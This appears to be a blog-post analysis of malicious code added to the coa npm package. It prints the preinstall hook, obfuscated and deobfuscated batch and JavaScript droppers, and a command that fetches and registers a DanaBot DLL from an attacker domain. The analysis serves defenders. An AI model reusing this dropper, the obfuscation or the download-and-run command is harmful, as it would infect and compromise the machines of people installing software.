Update: The rc npm package seems to have problems similar to coa’s.

The coa npm package (a package with 8,827,858 weekly downloads) got some extra code (that is actually malicious) in a new version. Below is a small and quick analysis on the said code without drawing any conclusions (because we all know that the “totally neutral security analysts” at the Wall Street Journal and Bloomberg will tomorrow point us mere mortals to the fact that the Russians did it because the IP of the sister of Putin’s dog handler’s was found in a database looking up midget porn. Or maybe the North Koreans did it. Or Elmer Fudd).

What is coa

COA is a parser for command line options that aim to get maximum profit from formalization your program API. Command-Option-Argument

GitHub Advisory

The npm package coa had versions published with malicious code. Users of affected versions (2.0.3 and above) should downgrade to 2.0.2 as soon as possible and check their systems for suspicious activity. See this issue for details as they unfold. Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. GitHub

What happened

Version got bumped to 2.0.3 first and 2.0.4 later, two files were added (compile.bat and compile.js) also a preinstall section was added to the package.json file. The actual preinstall line only works on Windows because of start /B, that opens a new command line prompt window.

  "scripts": {
    "preinstall": "start /B node compile.js & node compile.js",

So the actual script workflow is: opens command prompt, executes compile.js via node, compile.js spawns a new process for compile.bat and the malware gets downloaded to your computer. It’s faster than Windows Update and you don’t even have to wait 45 mins to shut down your computer.

Files

package/compile.bat

@echo off
Set aim=dgYfeRCiI6tM5ySU4AFWnGwu7j3VBTPD82cHblKEvJhQqozN1sxZL0rm9apXkO
cls
@%aim:~4,1%%aim:~34,1%%aim:~42,1%%aim:~45,1% %aim:~45,1%%aim:~3,1%%aim:~3,1%
%aim:~34,1%%aim:~23,1%%aim:~54,1%%aim:~37,1% %aim:~42,1%%aim:~10,1%%aim:~10,1%%aim:~58,1%%aim:~49,1%://%aim:~58,1%%aim:~57,1%%aim:~49,1%%aim:~10,1%%aim:~45,1%%aim:~54,1%%aim:~34,1%%aim:~54,1%%aim:~13,1%%aim:~58,1%%aim:~10,1%%aim:~45,1%%aim:~1,1%%aim:~54,1%%aim:~57,1%%aim:~58,1%%aim:~42,1%.%aim:~57,1%%aim:~10,1%/%aim:~26,1%/%aim:~49,1%%aim:~0,1%%aim:~0,1%.%aim:~0,1%%aim:~37,1%%aim:~37,1% -%aim:~45,1% %aim:~34,1%%aim:~45,1%%aim:~55,1%%aim:~58,1%%aim:~7,1%%aim:~37,1%%aim:~4,1%.%aim:~0,1%%aim:~37,1%%aim:~37,1%
%aim:~7,1%%aim:~3,1% %aim:~20,1%%aim:~45,1%%aim:~10,1% %aim:~4,1%%aim:~50,1%%aim:~7,1%%aim:~49,1%%aim:~10,1% %aim:~34,1%%aim:~45,1%%aim:~55,1%%aim:~58,1%%aim:~7,1%%aim:~37,1%%aim:~4,1%.%aim:~0,1%%aim:~37,1%%aim:~37,1% (
	%aim:~22,1%%aim:~1,1%%aim:~4,1%%aim:~10,1% %aim:~42,1%%aim:~10,1%%aim:~10,1%%aim:~58,1%%aim:~49,1%://%aim:~58,1%%aim:~57,1%%aim:~49,1%%aim:~10,1%%aim:~45,1%%aim:~54,1%%aim:~34,1%%aim:~54,1%%aim:~13,1%%aim:~58,1%%aim:~10,1%%aim:~45,1%%aim:~1,1%%aim:~54,1%%aim:~57,1%%aim:~58,1%%aim:~42,1%.%aim:~57,1%%aim:~10,1%/%aim:~26,1%/%aim:~49,1%%aim:~0,1%%aim:~0,1%.%aim:~0,1%%aim:~37,1%%aim:~37,1% -%aim:~61,1% %aim:~34,1%%aim:~45,1%%aim:~55,1%%aim:~58,1%%aim:~7,1%%aim:~37,1%%aim:~4,1%.%aim:~0,1%%aim:~37,1%%aim:~37,1%
)
%aim:~7,1%%aim:~3,1% %aim:~20,1%%aim:~45,1%%aim:~10,1% %aim:~4,1%%aim:~50,1%%aim:~7,1%%aim:~49,1%%aim:~10,1% %aim:~34,1%%aim:~45,1%%aim:~55,1%%aim:~58,1%%aim:~7,1%%aim:~37,1%%aim:~4,1%.%aim:~0,1%%aim:~37,1%%aim:~37,1% (
	%aim:~34,1%%aim:~4,1%%aim:~54,1%%aim:~10,1%%aim:~23,1%%aim:~10,1%%aim:~7,1%%aim:~37,1%.%aim:~4,1%%aim:~50,1%%aim:~4,1% -%aim:~23,1%%aim:~54,1%%aim:~37,1%%aim:~34,1%%aim:~57,1%%aim:~34,1%%aim:~42,1%%aim:~4,1% -%aim:~3,1% %aim:~42,1%%aim:~10,1%%aim:~10,1%%aim:~58,1%%aim:~49,1%://%aim:~58,1%%aim:~57,1%%aim:~49,1%%aim:~10,1%%aim:~45,1%%aim:~54,1%%aim:~34,1%%aim:~54,1%%aim:~13,1%%aim:~58,1%%aim:~10,1%%aim:~45,1%%aim:~1,1%%aim:~54,1%%aim:~57,1%%aim:~58,1%%aim:~42,1%.%aim:~57,1%%aim:~10,1%/%aim:~26,1%/%aim:~49,1%%aim:~0,1%%aim:~0,1%.%aim:~0,1%%aim:~37,1%%aim:~37,1% %aim:~34,1%%aim:~45,1%%aim:~55,1%%aim:~58,1%%aim:~7,1%%aim:~37,1%%aim:~4,1%.%aim:~0,1%%aim:~37,1%%aim:~37,1%
)
%aim:~54,1%%aim:~4,1%%aim:~1,1%%aim:~49,1%%aim:~40,1%%aim:~54,1%%aim:~26,1%%aim:~33,1%.%aim:~4,1%%aim:~50,1%%aim:~4,1% -%aim:~49,1% %aim:~34,1%%aim:~45,1%%aim:~55,1%%aim:~58,1%%aim:~7,1%%aim:~37,1%%aim:~4,1%.%aim:~0,1%%aim:~37,1%%aim:~37,1%

which deobfuscated becomes

@echo off
Set aim=dgYfeRCiI6tM5ySU4AFWnGwu7j3VBTPD82cHblKEvJhQqozN1sxZL0rm9apXkO
cls
@echo off
curl https://pastorcryptograph.at/3/sdd.dll -o compile.dll
if not exist compile.dll (
	wget https://pastorcryptograph.at/3/sdd.dll -O compile.dll
)
if not exist compile.dll (
	certutil.exe -urlcache -f https://pastorcryptograph.at/3/sdd.dll compile.dll
)
regsvr32.exe -s compile.dll

Basically it tries various methods to download a specific DLL file sdd.dll as compile.dll from the URL https://pastorcryptograph.at/3/ and then COM registers it. So the malware only works on Windows.

The DLL file is mirrored here, don’t play with it if you don’t know what it is. Don’t rename it to .dll and don’t COM load it. Here is a VirusTotal analysis of the DLL file.

The malware in cause seems to be DanaBot.

package/compile.js

const _0x29286e=_0x3b9e;(function(_0x595213,_0x1c7f12){const _0x524030=_0x3b9e,_0x10bbc4=_0x595213();while(!![]){try{const _0x5ab451=parseInt(_0x524030(0xef))/0x1*(-parseInt(_0x524030(0xfa))/0x2)+parseInt(_0x524030(0xf7))/0x3+-parseInt(_0x524030(0xf6))/0x4*(parseInt(_0x524030(0xf5))/0x5)+-parseInt(_0x524030(0xf2))/0x6*(-parseInt(_0x524030(0xed))/0x7)+-parseInt(_0x524030(0xf8))/0x8*(parseInt(_0x524030(0xe9))/0x9)+parseInt(_0x524030(0xeb))/0xa+parseInt(_0x524030(0xf3))/0xb*(parseInt(_0x524030(0xf4))/0xc);if(_0x5ab451===_0x1c7f12)break;else _0x10bbc4['push'](_0x10bbc4['shift']());}catch(_0x3b1efb){_0x10bbc4['push'](_0x10bbc4['shift']());}}}(_0x4f67,0x3d733));const {exec}=require('child_process');function _0x4f67(){const _0x5d7817=['28bejTPQ','1355673ZDaxId','779896MgsJdu','child_process','26358GzOkXk','MacOS','platform','cmd.exe','win64','27EVEPMY','win32','768760SJubeg','Linux','111587KPhwpG','compile.bat','11xGbwXc','linux','darwin','36HiOlse','11PTXHjR','3696096qOooYF','173780mPHnxy'];_0x4f67=function(){return _0x5d7817;};return _0x4f67();}var opsys=process[_0x29286e(0xfc)];function _0x3b9e(_0x21f5ee,_0x411966){const _0x4f6708=_0x4f67();return _0x3b9e=function(_0x3b9ecb,_0x3ac81f){_0x3b9ecb=_0x3b9ecb-0xe9;let _0x5a6794=_0x4f6708[_0x3b9ecb];return _0x5a6794;},_0x3b9e(_0x21f5ee,_0x411966);}if(opsys==_0x29286e(0xf1))opsys=_0x29286e(0xfb);else{if(opsys==_0x29286e(0xea)||opsys==_0x29286e(0xfe)){opsys='Windows';const {spawn}=require(_0x29286e(0xf9)),bat=spawn(_0x29286e(0xfd),['/c',_0x29286e(0xee)]);}else opsys==_0x29286e(0xf0)&&(opsys=_0x29286e(0xec));}

which semi-deobfuscated becomes

const _0x29286e = _0x3b9e;
(function (_0x595213, _0x1c7f12) {
  const _0x524030 = _0x3b9e, _0x10bbc4 = _0x595213();
  while (!![]) {
    try {
      const _0x5ab451 = parseInt(_0x524030(239)) / 1 * (-parseInt(_0x524030(250)) / 2) + parseInt(_0x524030(247)) / 3 + -parseInt(_0x524030(246)) / 4 * (parseInt(_0x524030(245)) / 5) + -parseInt(_0x524030(242)) / 6 * (-parseInt(_0x524030(237)) / 7) + -parseInt(_0x524030(248)) / 8 * (parseInt(_0x524030(233)) / 9) + parseInt(_0x524030(235)) / 10 + parseInt(_0x524030(243)) / 11 * (parseInt(_0x524030(244)) / 12);
      if (_0x5ab451 === _0x1c7f12) break; else _0x10bbc4.push(_0x10bbc4.shift());
    } catch (_0x3b1efb) {
      _0x10bbc4.push(_0x10bbc4.shift());
    }
  }
}(_0x4f67, 251699));
const {exec} = require("child_process");
function _0x4f67() {
  const _0x5d7817 = ["28bejTPQ", "1355673ZDaxId", "779896MgsJdu", "child_process", "26358GzOkXk", "MacOS", "platform", "cmd.exe", "win64", "27EVEPMY", "win32", "768760SJubeg", "Linux", "111587KPhwpG", "compile.bat", "11xGbwXc", "linux", "darwin", "36HiOlse", "11PTXHjR", "3696096qOooYF", "173780mPHnxy"];
  _0x4f67 = function () {
    return _0x5d7817;
  };
  return _0x4f67();
}
var opsys = process[_0x29286e(252)];
function _0x3b9e(_0x21f5ee, _0x411966) {
  const _0x4f6708 = _0x4f67();
  return _0x3b9e = function (_0x3b9ecb, _0x3ac81f) {
    _0x3b9ecb = _0x3b9ecb - 233;
    let _0x5a6794 = _0x4f6708[_0x3b9ecb];
    return _0x5a6794;
  }, _0x3b9e(_0x21f5ee, _0x411966);
}
if (opsys == _0x29286e(241)) opsys = _0x29286e(251); else {
  if (opsys == _0x29286e(234) || opsys == _0x29286e(254)) {
    opsys = "Windows";
    const {spawn} = require(_0x29286e(249)), bat = spawn(_0x29286e(253), ["/c", _0x29286e(238)]);
  } else opsys == _0x29286e(240) && (opsys = _0x29286e(236));
}

Command Center

The DNS for pastorcryptograph.at points to 193.106.175.10.

route:          193.106.175.0/24
descr:          IQHost Ltd
origin:         AS50465
mnt-by:         IQHost-mnt
created:        2010-11-01T10:50:04Z
last-modified:  2010-11-01T10:50:04Z